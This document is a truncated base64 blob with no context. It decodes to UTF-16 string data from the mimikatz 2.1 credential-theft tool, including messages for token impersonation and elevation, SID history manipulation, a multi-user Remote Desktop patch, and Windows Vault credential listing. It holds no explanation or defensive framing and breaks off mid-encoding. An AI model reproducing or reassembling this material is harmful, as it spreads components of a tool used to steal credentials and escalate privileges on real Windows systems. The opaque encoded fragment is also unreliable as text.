ATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAG8AawB1AHAAAAAAAE4AYQBtAGUAIABvAHIAIABTAEkARAAgAGwAbwBvAGsAdQBwAAAAAABxAHUAZQByAHkAAABRAHUAZQByAHkAIABvAGIAagBlAGMAdAAgAGIAeQAgAFMASQBEACAAbwByACAAbgBhAG0AZQAAAFMAZQBjAHUAcgBpAHQAeQAgAEkAZABlAG4AdABpAGYAaQBlAHIAcwAgAG0AbwBkAHUAbABlAAAAUwBJAEQAIAAgACAAOgAgACUAcwAKAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBOAGEAbQBlACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAEkAbgB2AGEAbABpAGQAIABTAEkARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAFQAeQBwAGUAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgA6ACAAJQBzAAoAUwBJAEQAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAUwBpAGQARABvAG0AYQBpAG4ARgByAG8AbQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAC8AcwBpAGQAIABvAHIAIAAvAG4AYQBtAGUAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAKACUAcwAKAAAAAAAgACAAJQBzADoAIAAAAAAAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAAAAAAAlACoAUwAKAAAAAABvAGIAagBlAGMAdABTAGkAZAAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAAoAIAAgACAAWwAlAHUAXQAgAAAAcwBJAEQASABpAHMAdABvAHIAeQAAAAAAIAAoACAAJQBzACAALQAtACAAJQBzAFwAJQBzACAAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAATgBvACAAcgBlAHMAdQBsAHQAIQAgAC0AIABmAGkAbAB0AGUAcgAgAHcAYQBzACAAJwAlAHMAJwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAHEAdQBpAGMAawBTAGUAYQByAGMAaAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAACgAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAD0AJQBzACkAAAAoAG8AYgBqAGUAYwB0AFMAaQBkAD0AAABcACUAMAAyAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAALwBzAGEAbQAgAG8AcgAgAC8AcwBpAGQAIAB0AG8AIAB0AGEAcgBnAGUAdAAgAHQAaABlACAAYQBjAGMAbwB1AG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AYgBpAG4AZABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AaQBuAGkAdAAKAAAAAAByAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAAAAoAGQAbgA9AFIAbwBvAHQARABTAEUAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGcAZQB0AF8AdgBhAGwAdQBlAHMAXwBsAGUAbgAgAGkAcwAgAE4ATwBUACAAMQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AYwBvAHUAbgB0AF8AZQBuAHQAcgBpAGUAcwAgAGkAcwAgAE4ATwBUACAAMQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABtAGEAcgBrAHIAdQBzAHMAAAAAAE0AYQByAGsAIABhAGIAbwB1AHQAIABQAHQASAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAEIAYQBzAGkAYwAgAGMAbwBtAG0AYQBuAGQAcwAgACgAZABvAGUAcwAgAG4AbwB0ACAAcgBlAHEAdQBpAHIAZQAgAG0AbwBkAHUAbABlACAAbgBhAG0AZQApAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAABmAGEAbABzAGUAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIAB3AGEAcwAgACAAIAAgADoAIAAlAHMACgAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAaQBzACAAbgBvAHcAIAA6ACAAJQBzAAoAAAAAADYANAAAAAAAOAA2AAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAQwB1AHIAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAGUAdwA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAFMAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAZQB4AGkAdAAAAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAGMAbABzAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABMAGkAcwB0ACAALgAuAC4AAAAAAGcAZQB0AAAARwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAAUwBlAHQAIAAuAC4ALgAAAGQAZQBsAAAARABlAGwAIAAuAC4ALgAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAATgBPAE4AXwBWAE8ATABBAFQASQBMAEUAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEgAQQBSAEQAVwBBAFIARQBfAEUAUgBSAE8AUgBfAFIARQBDAE8AUgBEAAAAQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAAAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAABLAGkAdwBpAEUAZgBpAFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAGYAaQBCAG8AbwB0AFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAHgAcABTAGUAYwB1AHIAZQBCAG8AbwB0AFYAZQBuAGQAbwByAAAAJQBzACAALQAgAAAAdwBoAG8AYQBtAGkAAAAAAEQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAaQBkAGUAbgB0AGkAdAB5AAAAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAB0AG8AawBlAG4AAABUAG8AawBlAG4AIABtAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAG0AbwBkAHUAbABlAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAGQAbwBtAGEAaQBuAGEAZABtAGkAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABOAG8AIAB1AHMAZQByAG4AYQBtAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaABlAG4AIABTAFkAUwBUAEUATQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAQQBuAG8AbgB5AG0AbwB1AHMAAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAABEAGUAbABlAGcAYQB0AGkAbwBuAAAAAAAlAC0AMQAwAHUACQAAAAAAJQBzAFwAJQBzAAkAJQBzAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQB1AAkAAAAgAC0APgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBkACAAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAbABsAG8AdwAgAG0AdQBsAHQAaQBwAGwAZQBzACAAdQBzAGUAcgBzAAAAdABzAAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAG0AbwBkAHUAbABlAAAAAAB0AGUAcgBtAHMAcgB2AC4AZABsAGwAAABUAGUAcgBtAFMAZQByAHYAaQBjAGUAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdABjAGwAaQAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtVHlwZXMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAAAAAVmF1bHRPcGVuVmF1bHQAAFZhdWx0R2V0SW5mb3JtYXRpb24AVmF1bHRFbnVtZXJhdGVJdGVtcwBWYXVsdENsb3NlVmF1bHQAVmF1bHRGcmVlAAAAVmF1bHRHZXRJdGVtAAAAAEQAbwBtAGEAaQBuACAAUABhAHMAcwB3AG8AcgBkAAAARABvAG0AYQBpAG4AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAEQAbwBtAGEAaQBuACAARQB4AHQAZQBuAGQAZQBkAAAAUABpAG4AIABMAG8AZwBvAG4AAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAABCAGkAbwBtAGUAdAByAGkAYwAAAE4AZQB4AHQAIABHAGUAbgBlAHIAYQB0AGkAbwBuACAAQwByAGUAZABlAG4AdABpAGEAbAAAAAAACgBWAGEAdQBsAHQAIAA6ACAAAAAJAEkAdABlAG0AcwAgACgAJQB1ACkACgAAAAAACQAgACUAMgB1AC4ACQAlAHMACgAAAAAACQAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAA6ACAAAAAAAAkACQBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAAAAJAAkAUgBlAHMAcwBvAHUAcgBjAGUAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBJAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAIAAgACAAOgAgAAAAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAJQAyAHUAIAAgACAAIAAgADoAIAAAAAkACQAqAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAKgAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAJAAkAVQBzAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAcwBcACUAcwAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABMAG8AZwBvAG4AVQBJAFwAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBJAEQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB